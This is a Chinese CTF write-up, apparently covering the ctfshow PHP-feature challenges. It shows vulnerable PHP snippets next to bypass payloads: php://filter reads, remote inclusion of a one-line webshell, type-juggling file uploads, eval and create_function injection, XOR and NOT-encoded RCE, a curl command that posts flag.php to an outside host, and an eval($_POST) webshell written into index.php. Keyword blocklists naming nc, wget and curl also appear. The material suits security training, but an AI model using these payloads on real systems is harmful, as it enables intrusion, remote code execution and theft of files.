strpos() 函数查找字符串在另一字符串中第一次出现的位置。
针对此函数:
1.使用php伪协议绕过
payload:f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
2.远程文件包含
在自己的服务器上写个一句话,然后保存为txt文档。
例如 f=http://url/xxx.txt?ctfshow
其中xxx.txt为一句话
另外还有数组绕过:
stripos应用于数组的时候会返回null,null!==false
返回值:
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE。
is_numeric在php5的环境中,是可以识别十六进制的。但在php7中有的十六进制数不能被识别为数字。
var_dump() 函数用于输出变量的相关信息。
语法:call_user_func(PHP 4, PHP 5, PHP 7)
第一个参数作为回调函数调用,其余参数是回调函数的参数
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
调用类中的静态函数:
payload: ctfshow=ctfshow::getFlag
补充:->和::的区别
-> 调用实例方法
:: 调用静态方法
在类里面的时候,$this->func()和self::func()没什么区别。
在外部的时候,->必须是实例化后的对象使用;而::可以是未实例化的类名直接调用。
同时:call_user_func函数里面可以传数组,第一个元素是类名或者类的一个对象,第二个元素是类的方法名,同样可以调用。如果::被过滤可以使用数组绕过。
parse_str — 将字符串解析成多个变量
parse_str ( string KaTeX parse error: Expected 'EOF', got '&' at position 25: …tring [, array &̲result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
例如:
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456
字符串反转
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
?u=/var/www/html/flag.php
?u=./flag.php
?u=php://filter/resource=flag.php
例:如果get传了一个值,那么就可以用post覆盖get中的值。
最后一行是,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。
所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
*/
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
in_array函数漏洞:
因为没有设置第三个参数,则为弱类型比较,因为新加进去的随机数字每次都包含1,1存在的几率是最大的。
$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false
绕过方法:
传入n=1.php。因为PHP在使用 in_array()函数判断时,会将 1.php强制转换成数字1,而数字1在 range(1,24)数组中,当随机生成的数字正好是1时绕过 in_array()函数判断,导致任意文件上传漏洞。
payload:
?n=1.php
post: content= #写入一句话
多试几次,直到不报错的那一次,说明成功传入一句话。
然后访问https://url/1.php,再post传入1=system(‘ls’);
再访问这个flag36d.php,即post: 1=system(‘cat flag36d.php’);
然后在网页源码中看到flag
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
1)and和&&的区别
<?php
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
因此对于$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
只需要使v1为true即可进入if
2) 反射类
直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);
payload:?v1=1&v2=echo new ReflectionClass&v3=;
对于反射类借用羽师傅的wp:
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
一是利用科学计数法,二是对于, ?> ; () # []等可以利用php伪协议base64编码,然后十六进制就可以绕过
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2); //十六进制绕过substr
$str = call_user_func($v1,$s); //call_user_func把第一个参数作为回调函数调用,$s为参数
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
将命令转为十六进制编码:
$a='=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473
同时对于substr函数的截断可以在十六进制数前加00
因此最终payload:
hex2bin将16进制转换成字符串从而写入木马文件。(hex2bin如果参数带0x会报错)
之后访问1.php查看源码得到答案,对于php://filter可以看这篇文章
https://blog.csdn.net/wy_97/article/details/77432002
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
//先通过get方法将$flag=>$a
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
//通过post方法将$a=>$error
if(!($_POST['flag']==$flag)){
die($error);
}
//通过die输出$error变量的值即flag
echo "your are good".$flag."\n";
die($suces);
GET: ?a=flag POST:error=a
get:?suces=flag&flag=
此时$scues=flag{
test123}; $_POST['flag']=NULL;$flag=NULL,满足($_POST['flag']==$flag)
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
payload:c=a%00778
首先正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制。
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
借用羽师傅的图片
利用php的getcwd()方法获取目录
payload:v1=FilesystemIterator&v2=getcwd
缺点是如果flag所在的文件不是排在第一位的话,我们可能就没有办法得到flag
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
对于不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议
没有任何过滤的伪协议:
file=php://filter/resource=flag.php
还有一些其他:
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
payload:
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
其中/proc/self/root指向的就是根目录,而对于多次重复后也可以绕过is_file
同时对于require_once函数同样可以利用多次重复来绕过,因为require_once包含的软链接层数较多时once 的 hash 匹配会直接失效造成重复包含,至于底层原理还不清楚。
语法
trim(string,charlist)
去除字符串首尾处的空白字符
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
羽师傅写的ASCII过滤:
for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'1';
if(trim($x)!=='1' && is_numeric($x)){
echo urlencode(chr($i))."\n";
}
}
发现除了+,-之外只有换页符%0c可以,也就是可以构造如:?num=%0c3
对于这种情况
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))
难点是处理$_POST[CTF_SHOW.COM]
PHP变量名由数字字母下划线组成,是没有.的,GET或POST方式传进去的变量名,会自动将空格 + . [转换为_。有一种特殊情况,特殊字符[GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
2是使用如CTF%5BSHOW.COM进行变量赋值
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
对于$_SERVER[‘argv’]有:
1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
因为在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
也就是$a[0]= $_SERVER['QUERY_STRING']
,
就可以通过eval将flag_give_me赋值fl0g
payload:
get: $fl0g=flag_give_me; //注意加分号
post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
预期解:
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
原理:
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
继续判断query string是否为空,
如果不为空把通过+符号分割的字符串转换成php内部的zend_string,
然后再把这个zend_string复制到 arr 数组中去。
这样就可以通过加号+分割argv成多个部分
测试:
$a=$_SERVER['argv'];
var_dump($a);
传入 a=1+fl0g=flag_give_me
结果如下
array(2) {
[0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
PS:url中替换_的字符:
+ _ [ .
+ 这里的加号在url中起到空格的作用
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
在开启该拓展后 _()
等效于 gettext(),正好针对过滤操作中对字母数字的过滤,call_user_func(’_’,‘phpinfo’) 返回的就是phpinfo
echo gettext("phpinfo");
结果 phpinfo
echo _("phpinfo");
结果 phpinfo
P神博客
所以对于
if(($code === mt_rand(1,0x36D) && $password === $flag )||( $username ==="admin")){
只需满足```$username=admin``
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
在get传参?F=`$F `;sleep 3,发现会多加载三秒,因为在`substr()`函数截取后,
得到`$F `;
会执行eval("`$F `;")
这时候再带入原来的$F,可以得到eval("``$F `;sleep 3`` `;")
此时在后面就执行了sleep 3的命令
反引号是没有回显的,使用curl进行RCE
?F=`$F `;curl -X POST -F xx=@flag.php http://xxx
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
parse_str($query_string, $geturl);
parse_str() 函数把查询字符串解析到变量中。
extract的$_POST,利用parse_str把$_POST给覆盖掉
payload:
?_POST[key1]=36d&_POST[key2]=36d
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
payload:
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
?F=`$F `;nl f*>a
还可以利用ping命令进行命令执行,参考羽师傅的博客
之后访问如url/a即可。
其中:
1. nl 命令读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。 在输出中,nl 命令根据您在命令行中指定的标志来计算左边的行。 输入文本必须写在逻辑页中。每个逻辑页有头、主体和页脚节(可以有空节)。 除非使用 -p 标志,nl 命令在每个逻辑页开始的地方重新设置行号。 可以单独为头、主体和页脚节设置行计算标志(例如,头和页脚行可以被计算然而文本行不能)。
2.cp命令用于复制文件或目录。
3. uniq 命令用于检查及删除文本文件中重复出现的行列,一般与 sort 命令结合使用。
uniq 可检查文本文件中重复出现的行列。
命令语法:
uniq [-c/d/D/u/i] [-f Fields] [-s N] [-w N] [InFile] [OutFile]
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
先
?c=ls | tee a
然后访问url/a,查看当前目录的文件,发现只有一个index.php,于是继续用命令
?c=ls / | tee b
查看根目录下文件,发现f149_15_h3r3,最后用
?c=nc /f149_15_h3r3| tee xxx
访问xxx得到flag
intval会将非数字字符转换为0,也就是说 intval(‘a’)==0 intval(’.’)==0 intval(’/’)==0
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
// /^\W+$/ 作用是匹配非数字字母下划线的字符
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
推荐羽师傅的无字母数字绕过正则表达式总结
另外在PHP中,数字可以和命令一起运算,比如1-phpinfo()可以执行phpinfo,那么构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-,
采用无数字字母RCE,取反:
payload:
v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
还有三目运算符的巧用:
如执行
eval("return 1?phpinfo();:1");
payload:
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%93%8C):
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%D5):
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
这题可以用create_function()函数来实现,先看这个函数的定义:
create_function('$fname','echo $fname."a"')
//类似于
function fT($fname) {
echo $fname."a";
}
想要执行命令,首先就要将这个函数闭合,然后才能输入想要执行的命令,并且因为这题过滤了数字和字母,可以用%5c放在开头绕过。
payload
GET:?show=echo 1;}system("tac f*");//
POST:ctf=%5ccreate_function
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}
预期解:
code=$哈="`{
{
{"^"?<>/";${
$哈}[哼](${
$哈}[嗯]);&哼=system&嗯=tac f*
"`{
{
{"^"?<>/"; 异或的结果是_GET,
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
ctf=index.php
show=<?php eval($_POST[1]);?>
蚁剑连接可以得到flag